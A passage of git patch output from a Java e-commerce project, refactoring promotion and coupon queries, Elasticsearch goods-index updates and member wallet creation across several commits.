cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.mapper.MemberCouponMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; @@ -118,7 +119,7 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); List storeIds = new ArrayList<>(Arrays.asList(param.getStoreId().split(","))); - storeIds.add("platform"); + storeIds.add(PromotionTools.PLATFORM_ID); queryWrapper.in(MemberCoupon::getStoreId, storeIds); queryWrapper.eq(MemberCoupon::getMemberId, param.getMemberId()); queryWrapper.and( @@ -253,7 +254,7 @@ public class MemberCouponServiceImpl extends ServiceImpl().eq(PointsGoods::getSkuId, skuId), false); + QueryWrapper queryWrapper = new QueryWrapper().eq("sku_id", skuId); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + PointsGoods pointsGoods = this.getOne(queryWrapper, false); if (pointsGoods == null) { log.error("skuId为" + skuId + "的积分商品不存在!"); throw new ServiceException(); @@ -208,7 +206,7 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl().eq(PromotionGoods::getPromotionId, promotions.getId())); + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); this.promotionGoodsService.save(new PromotionGoods(promotions, this.checkSkuExist(promotions.getSkuId()))); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java index 2dc9ff90..a827e99c 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java @@ -5,18 +5,13 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.utils.DateUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; -import cn.lili.modules.order.cart.entity.vo.CartSkuVO; -import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.mapper.PromotionGoodsMapper; @@ -37,6 +32,7 @@ import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; +import java.util.Arrays; import java.util.Date; import java.util.List; @@ -73,7 +69,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl findNowSkuPromotion(String skuId) { + public List findSkuValidPromotion(String skuId, String storeIds) { GoodsSku sku = goodsSkuService.getGoodsSkuByIdFromCache(skuId); if (sku == null) { @@ -81,48 +77,13 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("sku_id", skuId); - queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); - - List promotionGoods = this.list(queryWrapper); - - - BasePromotionsSearchParams searchParams = new BasePromotionsSearchParams(); - searchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - searchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); - //单独检查,添加适用于全品类的满优惠活动 - List fullDiscountVOS = this.fullDiscountService.listFindAll(searchParams); - for (FullDiscount fullDiscountVO : fullDiscountVOS) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(fullDiscountVO.getId()); - p.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); - p.setStartTime(fullDiscountVO.getStartTime()); - p.setEndTime(fullDiscountVO.getEndTime()); - promotionGoods.add(p); - } - //单独检查,添加适用于全品类的全平台或属于当前店铺的优惠券活动 - List couponVOS = this.couponService.listFindAll(searchParams); - for (Coupon couponVO : couponVOS) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(couponVO.getId()); - p.setPromotionType(PromotionTypeEnum.COUPON.name()); - p.setStartTime(couponVO.getStartTime()); - p.setEndTime(couponVO.getEndTime()); - promotionGoods.add(p); - } - return promotionGoods; - } - - @Override - public void updatePromotion(CartSkuVO cartSkuVO) { - Date date = DateUtil.getCurrentDayEndTime(); - //如果商品的促销更新时间在当前时间之前,则更新促销 - if (cartSkuVO.getUpdatePromotionTime().before(date)) { - List promotionGoods = this.findNowSkuPromotion(cartSkuVO.getGoodsSku().getId()); - cartSkuVO.setPromotions(promotionGoods); - //下一次更新时间 - cartSkuVO.setUpdatePromotionTime(date); - } + queryWrapper.and(i -> i.or(j -> j.eq("sku_id", skuId)) + .or(n -> n.eq("scope_type", PromotionsScopeTypeEnum.ALL.name())) + .or(n -> n.and(k -> k.eq("scope_type", PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) + .and(l -> l.like("scope_id", sku.getCategoryPath()))))); + queryWrapper.and(i -> i.or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)).or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.NEW))); + queryWrapper.in("store_id", Arrays.asList(storeIds.split(","))); + return this.list(queryWrapper); } @Override diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 68dea115..0bdc102a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -2,11 +2,12 @@ package cn.lili.modules.promotion.serviceimpl; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.promotion.entity.dos.*; -import cn.lili.modules.promotion.entity.enums.CouponGetEnum; -import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.*; +import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; +import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; +import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; @@ -111,33 +112,10 @@ public class PromotionServiceImpl implements PromotionService { * @return 当前促销活动集合 */ @Override - public Map getGoodsCurrentPromotionMap(EsGoodsIndex index) { + public Map getGoodsPromotionMap(EsGoodsIndex index) { + String storeIds = index.getStoreId() + "," + PromotionTools.PLATFORM_ID; Map promotionMap = new HashMap<>(); - FullDiscountSearchParams fullDiscountSearchParams = new FullDiscountSearchParams(); - fullDiscountSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); - fullDiscountSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - List fullDiscountVOS = this.fullDiscountService.listFindAll(fullDiscountSearchParams); - for (FullDiscount fullDiscount : fullDiscountVOS) { - if (index.getStoreId().equals(fullDiscount.getStoreId())) { - String fullDiscountKey = PromotionTypeEnum.FULL_DISCOUNT.name() + "-" + fullDiscount.getId(); - promotionMap.put(fullDiscountKey, fullDiscount); - } - } - CouponSearchParams couponSearchParams = new CouponSearchParams(); - couponSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); - couponSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - couponSearchParams.setGetType(CouponGetEnum.FREE.name()); - List couponVOS = this.couponService.listFindAll(couponSearchParams); - for (Coupon coupon : couponVOS) { - if (("platform").equals(coupon.getStoreId()) || index.getStoreId().equals(coupon.getStoreId())) { - String couponKey = PromotionTypeEnum.COUPON.name() + "-" + coupon.getId(); - promotionMap.put(couponKey, coupon); - } - } - PromotionGoodsSearchParams promotionGoodsSearchParams = new PromotionGoodsSearchParams(); - promotionGoodsSearchParams.setSkuId(index.getId()); - promotionGoodsSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - List promotionGoodsList = promotionGoodsService.listFindAll(promotionGoodsSearchParams); + List promotionGoodsList = promotionGoodsService.findSkuValidPromotion(index.getId(), storeIds); for (PromotionGoods promotionGoods : promotionGoodsList) { String esPromotionKey = promotionGoods.getPromotionType() + "-" + promotionGoods.getPromotionId(); switch (PromotionTypeEnum.valueOf(promotionGoods.getPromotionType())) { diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index fdffd2a8..2fe796ab 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -189,7 +189,6 @@ public class SeckillApplyServiceImpl extends ServiceImpl().eq(SeckillApply::getSeckillId, seckillId).in(SeckillApply::getSkuId, skuIds)); this.saveBatch(originList); - this.seckillService.updateEsGoodsSeckill(seckill, originList); //保存促销活动商品信息 if (!promotionGoodsList.isEmpty()) { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); @@ -203,6 +202,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillApplies) { if (seckillApplies != null && !seckillApplies.isEmpty()) { // 更新促销范围 - List skuIds = seckillApplies.stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); - seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + seckill.setScopeId(ArrayUtil.join(seckillApplies.stream().map(SeckillApply::getSkuId).toArray(), ",")); UpdateWrapper updateWrapper = new UpdateWrapper<>(); updateWrapper.eq("id", seckill.getId()); updateWrapper.set("scope_id", seckill.getScopeId()); diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index 3ac5441a..b43a5839 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -2,6 +2,7 @@ package cn.lili.modules.promotion.tools; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -26,6 +27,8 @@ public class PromotionTools { public static final String START_TIME_COLUMN = "start_time"; public static final String END_TIME_COLUMN = "end_time"; + public static final String PLATFORM_ID = "platform"; + public static final String PLATFORM_NAME = "platform"; /** * 参数验证 @@ -119,7 +122,12 @@ public class PromotionTools { //本次促销商品入库 for (PromotionGoods promotionGoods : originList) { promotionGoods.setPromotionId(promotion.getId()); - promotionGoods.setStoreName(promotion.getStoreName()); + if (CharSequenceUtil.isEmpty(promotionGoods.getStoreId())) { + promotionGoods.setStoreId(promotion.getStoreId()); + } + if (CharSequenceUtil.isEmpty(promotionGoods.getStoreName())) { + promotionGoods.setStoreName(promotion.getStoreName()); + } promotionGoods.setTitle(promotion.getPromotionName()); if (promotionGoods.getStartTime() == null) { promotionGoods.setStartTime(promotion.getStartTime()); diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index 2d70153b..9a4f4c7c 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -169,11 +169,11 @@ public interface EsGoodsIndexService { List getPromotionIdByPromotionType(String id, PromotionTypeEnum promotionTypeEnum); /** - * 重置当前商品索引 + * 获取临时拼装的商品索引 * * @param goodsSku 商品sku信息 * @param goodsParamDTOS 商品参数 * @return 商品索引 */ - EsGoodsIndex resetEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS); + EsGoodsIndex getTempEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 67faf657..7860e8ed 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -28,6 +28,7 @@ import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.PromotionService; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.entity.dto.EsGoodsSearchDTO; import cn.lili.modules.search.repository.EsGoodsIndexRepository; @@ -390,7 +391,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements public void updateEsGoodsIndexAllByList(BasePromotions promotion, String key) { List goodsIndices = new ArrayList<>(); //如果storeId不为空,则表示是店铺活动 - if (promotion.getStoreId() != null) { + if (promotion.getStoreId() != null && !promotion.getStoreId().equals(PromotionTools.PLATFORM_ID)) { EsGoodsSearchDTO searchDTO = new EsGoodsSearchDTO(); searchDTO.setStoreId(promotion.getStoreId()); //查询出店铺商品 @@ -552,17 +553,17 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } /** - * 重置当前商品索引 + * 获取临时拼装的商品索引 * * @param goodsSku 商品sku信息 * @param goodsParamDTOS 商品参数 * @return 商品索引 */ @Override - public EsGoodsIndex resetEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS) { + public EsGoodsIndex getTempEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS) { EsGoodsIndex index = new EsGoodsIndex(goodsSku, goodsParamDTOS); //获取活动信息 - Map goodsCurrentPromotionMap = promotionService.getGoodsCurrentPromotionMap(index); + Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); //写入促销信息 index.setPromotionMap(goodsCurrentPromotionMap); return index; @@ -588,18 +589,10 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements promotionMap = goodsIndex.getPromotionMap(); } //如果活动已结束 - if (promotion.getPromotionStatus().equals(PromotionsStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionsStatusEnum.CLOSE.name())) { - //如果存在活动 - if (promotionMap.containsKey(key)) { - //删除活动 - promotionMap.remove(key); - } else { - //不存在则说明是秒杀活动,尝试删除秒杀信息 - this.removePromotionKey(key, promotionMap, PromotionTypeEnum.SECKILL.name()); - } + if (promotion.getPromotionStatus().equals(PromotionsStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionsStatusEnum.CLOSE.name())) {//如果存在活动 + //删除活动 + promotionMap.remove(key); } else { - //添加促销活动前,如果是同一时间只可以有一个的活动,但商品索引的促销活动里存在其他(同一时间只可以有一个)的活动,则清除 - this.removePromotionKey(key, promotionMap, PromotionTypeEnum.PINTUAN.name(), PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.FULL_DISCOUNT.name()); promotionMap.put(key, promotion); } goodsIndex.setPromotionMap(promotionMap); @@ -695,7 +688,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } } //促销索引 - Map goodsCurrentPromotionMap = promotionService.getGoodsCurrentPromotionMap(index); + Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); index.setPromotionMap(goodsCurrentPromotionMap); return index; } diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java index f2ed20ee..7bf896ac 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java @@ -13,6 +13,7 @@ import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -42,7 +43,7 @@ public class CouponManagerController { @ApiOperation(value = "获取优惠券列表") @GetMapping public ResultMessage> getCouponList(CouponSearchParams queryParam, PageVO page) { - queryParam.setStoreId("platform"); + queryParam.setStoreId(PromotionTools.PLATFORM_ID); return ResultUtil.data(couponService.pageVOFindAll(queryParam, page)); } @@ -111,8 +112,8 @@ public class CouponManagerController { if (currentUser == null) { throw new ServiceException(ResultCode.USER_NOT_EXIST); } - couponVO.setStoreId("platform"); - couponVO.setStoreName("platform"); + couponVO.setStoreId(PromotionTools.PLATFORM_ID); + couponVO.setStoreName(PromotionTools.PLATFORM_NAME); } } diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 2efe7fcd..682b4d15 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -136,7 +136,7 @@ class EsTest { List esGoodsIndices = new ArrayList<>(); for (GoodsSku goodsSku : list) { EsGoodsIndex index = new EsGoodsIndex(goodsSku); - Map goodsCurrentPromotionMap = promotionService.getGoodsCurrentPromotionMap(index); + Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); index.setPromotionMap(goodsCurrentPromotionMap); esGoodsIndices.add(index); cache.put(GoodsSkuService.getStockCacheKey(goodsSku.getId()), goodsSku.getQuantity()); From 9bf1dbe030f6311ac79450699b43b3fe03986319 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 27 Dec 2021 14:38:45 +0800 Subject: [PATCH 110/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=B8=85=E9=99=A4?= =?UTF-8?q?=E6=97=A0=E6=95=88=E7=B4=A2=E5=BC=95=E6=97=B6=E7=9A=84=E5=BC=82?= =?UTF-8?q?=E5=B8=B8=E3=80=82=E6=9F=90=E4=BA=9B=E6=83=85=E5=86=B5=E4=B8=8B?= =?UTF-8?q?=E6=96=B0=E5=BB=BA=E7=94=A8=E6=88=B7=E4=BC=9A=E5=88=9B=E5=BB=BA?= =?UTF-8?q?=E4=B8=A4=E6=9D=A1member=5Fwallet=E6=95=B0=E6=8D=AE=E3=80=82?= =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BB=A3=E7=A0=81=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/event/impl/MemberWalletExecute.java | 3 ++- .../impl/promotion/PromotionEverydayExecute.java | 2 +- .../config/ElasticsearchConfig.java | 2 +- .../promotion/entity/vos/CouponSearchParams.java | 4 ++-- .../serviceimpl/PromotionGoodsServiceImpl.java | 16 +++++----------- .../serviceimpl/EsGoodsIndexServiceImpl.java | 16 ++++++---------- .../java/cn/lili/test/elasticsearch/EsTest.java | 6 ++++++ 7 files changed, 23 insertions(+), 26 deletions(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java b/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java index 49274773..79713ce2 100644 --- a/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java @@ -21,6 +21,7 @@ public class MemberWalletExecute implements MemberRegisterEvent { @Override public void memberRegister(Member member) { - memberWalletService.save(member.getId(),member.getUsername()); + // 有些情况下,会同时创建一个member_id的两条数据 +// memberWalletService.save(member.getId(),member.getUsername()); } } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java index bad47e54..c996005a 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java @@ -44,7 +44,7 @@ public class PromotionEverydayExecute implements EveryDayExecute { */ @Override public void execute() { - //查询条件 + //清除所以商品索引的无效促销活动 this.esGoodsIndexService.cleanInvalidPromotion(); //定时创建活动 addSeckill(); diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index 478470d2..22a709ad 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -71,7 +71,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { @Bean("elasticsearchRestTemplate") public ElasticsearchRestTemplate elasticsearchRestTemplate() { - return new ElasticsearchRestTemplate(elasticsearchClient()); + return new ElasticsearchRestTemplate(this.client); } private HttpHost[] getHttpHosts() { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index a57b6b85..279c73b0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -93,8 +93,8 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())); break; case START: - queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())); -// .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); + queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) + .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); break; case END: queryWrapper.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java index a827e99c..49e67a90 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionGoodsServiceImpl.java @@ -15,8 +15,6 @@ import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.mapper.PromotionGoodsMapper; -import cn.lili.modules.promotion.service.CouponService; -import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.tools.PromotionTools; @@ -46,6 +44,8 @@ import java.util.List; @Transactional(rollbackFor = Exception.class) public class PromotionGoodsServiceImpl extends ServiceImpl implements PromotionGoodsService { + private static final String SKU_ID_COLUMN = "sku_id"; + /** * Redis */ @@ -62,12 +62,6 @@ public class PromotionGoodsServiceImpl extends ServiceImpl findSkuValidPromotion(String skuId, String storeIds) { @@ -77,7 +71,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper<>(); - queryWrapper.and(i -> i.or(j -> j.eq("sku_id", skuId)) + queryWrapper.and(i -> i.or(j -> j.eq(SKU_ID_COLUMN, skuId)) .or(n -> n.eq("scope_type", PromotionsScopeTypeEnum.ALL.name())) .or(n -> n.and(k -> k.eq("scope_type", PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name()) .and(l -> l.like("scope_id", sku.getCategoryPath()))))); @@ -123,7 +117,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionTypes) { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("sku_id", skuId); + queryWrapper.eq(SKU_ID_COLUMN, skuId); queryWrapper.in("promotion_type", promotionTypes); queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); return this.getOne(queryWrapper, false); @@ -139,7 +133,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionTypes) { QueryWrapper queryWrapper = new QueryWrapper<>(); - queryWrapper.eq("sku_id", skuId); + queryWrapper.eq(SKU_ID_COLUMN, skuId); queryWrapper.in("promotion_type", promotionTypes); queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); return this.baseMapper.selectPromotionsGoodsPrice(queryWrapper); diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index ae7f5164..203c20b1 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -480,17 +480,13 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //获取商品索引 if (promotionMap != null && !promotionMap.isEmpty()) { //促销不为空则进行清洗 - for (Map.Entry entry : promotionMap.entrySet()) { - BasePromotions promotion = (BasePromotions) entry.getValue(); - //判定条件为活动已结束 - if (promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime()) { - if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { - goodsIndex.setPromotionPrice(goodsIndex.getPrice()); - } - promotionMap.remove(entry.getKey()); + promotionMap.entrySet().removeIf(i -> { + BasePromotions promotion = (BasePromotions) i.getValue(); + if (i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { + goodsIndex.setPromotionPrice(goodsIndex.getPrice()); } - - } + return promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime(); + }); } } goodsIndexRepository.saveAll(all); diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 682b4d15..673ec2d8 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -80,6 +80,12 @@ class EsTest { } + @Test + void cleanInvalidPromotion() { + this.esGoodsIndexService.cleanInvalidPromotion(); + Assertions.assertTrue(true); + } + @Test void searchGoods() { EsGoodsSearchDTO goodsSearchDTO = new EsGoodsSearchDTO(); From 168c630a13e35b73050ece375f10d3ba03868d95 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 27 Dec 2021 18:01:58 +0800 Subject: [PATCH 111/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E4=B8=8B=E6=9E=B6?= =?UTF-8?q?=E5=95=86=E5=93=81=E6=B2=A1=E6=9C=89=E5=88=A0=E9=99=A4=E5=95=86?= =?UTF-8?q?=E5=93=81=E7=B4=A2=E5=BC=95=E9=97=AE=E9=A2=98=E3=80=82=E4=BF=AE?= =?UTF-8?q?=E5=A4=8D=E4=B8=8B=E5=8D=95=E4=BD=BF=E7=94=A8=E4=BC=98=E6=83=A0?= =?UTF-8?q?=E5=88=B8=E4=BD=BF=E9=87=91=E9=A2=9D=E5=8F=98=E4=B8=BA0?= =?UTF-8?q?=E5=85=83=E6=97=B6=E6=B6=88=E8=B4=B9=E6=9C=8D=E5=8A=A1=E8=8E=B7?= =?UTF-8?q?=E5=8F=96=E6=95=B0=E6=8D=AE=E4=B8=8D=E6=AD=A3=E7=A1=AE=E5=AF=BC?= =?UTF-8?q?=E8=87=B4=E6=B2=A1=E6=9C=89=E5=8F=8A=E6=97=B6=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E8=AE=A2=E5=8D=95=E7=8A=B6=E6=80=81=E9=97=AE=E9=A2=98=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../event/impl/OrderCreateReceiptExecute.java | 35 +++++++++---------- .../lili/listener/GoodsMessageListener.java | 35 +++++++++++++------ .../lili/listener/OrderMessageListener.java | 2 +- .../modules/goods/mapper/GoodsSkuMapper.java | 12 +++++++ .../goods/service/GoodsSkuService.java | 8 +++++ 